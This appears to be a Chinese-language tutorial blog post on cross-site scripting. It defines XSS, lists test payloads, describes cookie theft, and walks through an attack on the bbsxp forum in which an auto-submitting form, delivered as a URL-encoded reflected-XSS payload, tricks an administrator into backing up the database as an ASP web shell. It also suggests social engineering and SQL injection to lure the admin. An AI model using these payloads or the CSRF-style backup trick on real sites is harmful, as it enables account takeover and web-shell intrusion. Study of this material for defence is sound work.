1. 程式人生 > >什麼是XSS跨站指令碼攻擊

什麼是XSS跨站指令碼攻擊

跨站指令碼攻擊(Cross-site scripting,通常簡稱為XSS)是一種網站應用程式的安全漏洞攻擊,允許惡意使用者將程式碼注入到網頁上,其他使用者在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及使用者端指令碼語言。一般而言,跨站指令碼攻擊漏洞常見於網頁允許攻擊者通過輸入對網頁內容進行改寫的地方。由於利用巧妙的注入惡意的指令碼到由其他域網頁的方法,攻擊者可得到了更高的特權,竊取機密的網頁內容、會話的cookie、以及許多其他的物件。

XSS又叫CSS(Cross Site Script) ,跨站指令碼攻擊。它指的是惡意攻擊者往Web頁面裡插入惡意html程式碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html程式碼會被執行,從而達到惡意使用者的特殊目的。XSS屬於被動式的攻擊,因為其被動且不好利用,所以許多人常忽略其危害性。

XSS攻擊分成兩類,一類是來自內部的攻擊,主要指的是利用程式自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然後構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標伺服器的管理員開啟。

傳統的跨站利用方式一般都是攻擊者先構造一個跨站網頁,然後在另一空間裡放一個收集cookie的頁面,接著結合其它技術讓使用者開啟跨站頁面以盜取使用者的cookie,以便進一步的攻擊。個人認為這種方式太過於落後,對於弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數的cookie裡面的密碼都是經過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對於個人而言,比較成熟的方法是通過跨站構造一個表單,表單的內容則為利用程式的備份功能或者加管理員等功能得到一個高許可權。下面我將詳細的介紹這種技術。

如果有程式碼的話比較好辦,我們主要看程式碼裡對使用者輸入的地方和變數有沒有做長度和對“<”,“>”,“;”,“’”等字元是否做過濾。還有要注意的是對於標籤的閉合,像測試QQ群跨站漏洞的時候,你在標題處輸入:

1 <script>alert('test')</script>

程式碼是不會被執行的,因為在原始碼裡,有其它的標籤未閉合,如少了一個</script>,這個時候,你只要閉合一個</script>,程式碼就會執行,如:你在標題處輸入:

1 </script><script>alert('test'
)</script>

這樣就可以彈出一個test 的框。

通常有一些方式可以測試網站是否有正確處理特殊字元:

  • ><script>alert(document.cookie)</script>
  • ='><script>alert(document.cookie)</script>
  • <script>alert(document.cookie)</script>
  • <script>alert(vulnerable)</script>
  • %3Cscript%3Ealert('XSS')%3C/script%3E
  • <script>alert('XSS')</script>
  • <img src="javascript:alert('XSS')">
  • <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
  • <div style="height:expression(alert('XSS'),1)" />(這個僅限 IE 有效)

使用者可做一個網頁,試著用JavaScript把document.cookie當成引數傳過去,然後再把它記錄下來,這即是cookie竊取 。

XSS攻擊方法有:

  • 竊取 cookie 。
  • 利用 iframe 或 frame 存取管理頁面或後臺頁面。
  • 利用 XMLHttpRequest 存取管理頁面或後臺頁面。

有的時候,當我們對於目標程式找不到可以利用的跨站點,這個時候我們可以利用可以從外部入手,利用我們要拿下的是它的論壇,論壇的安全性做的很好,但其留言板卻存在跨站漏洞,這個時候我們可以在留言板裡寫入跨站語句,跨站語句為以表單的方式向論談提交提升許可權的語句,如上面的bbsxp加asp擴充套件的語句。當然我們可利用後臺的備份功能直接得到一個shell。

例:先上傳一個檔案linzi.txt,內容如下:

1 <body onload="javascript:document.forms[0].submit()">
3 <input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" >
4 </body>
5 </html>

上面的程式碼是把論壇的資料庫備份為shit.asp,留言板存在跨站點如下:http://127.0.0.1/bbsxp/page2.asp?username=

我們構造備份跨站語句如下:

1 http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75
2 %6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61
3 %63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61
4 %64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64
5 %3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F
6 %62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61
7 %6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62
8 %66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者構造跨站語句,利用iframe開啟一個0大小的linzi.txt。

當管理員開啟後,會自動備份得到一個shell。

從上面的例項,我們可以知道,如何欺騙管理開啟是一個很重要的步驟,對於欺騙開啟,除了社會工程學外,我們可以結合其它的技術,如sql injection.當我們滲透一個網站之時,主站mssql注入漏洞,許可權為public,這個時候我們利用update構造跨站語句,如用 iframe開啟一個上面的備份得到shell的跨站語句等,同樣,我們可以在社會工程學時,利用QQ的其它跨站漏洞等等。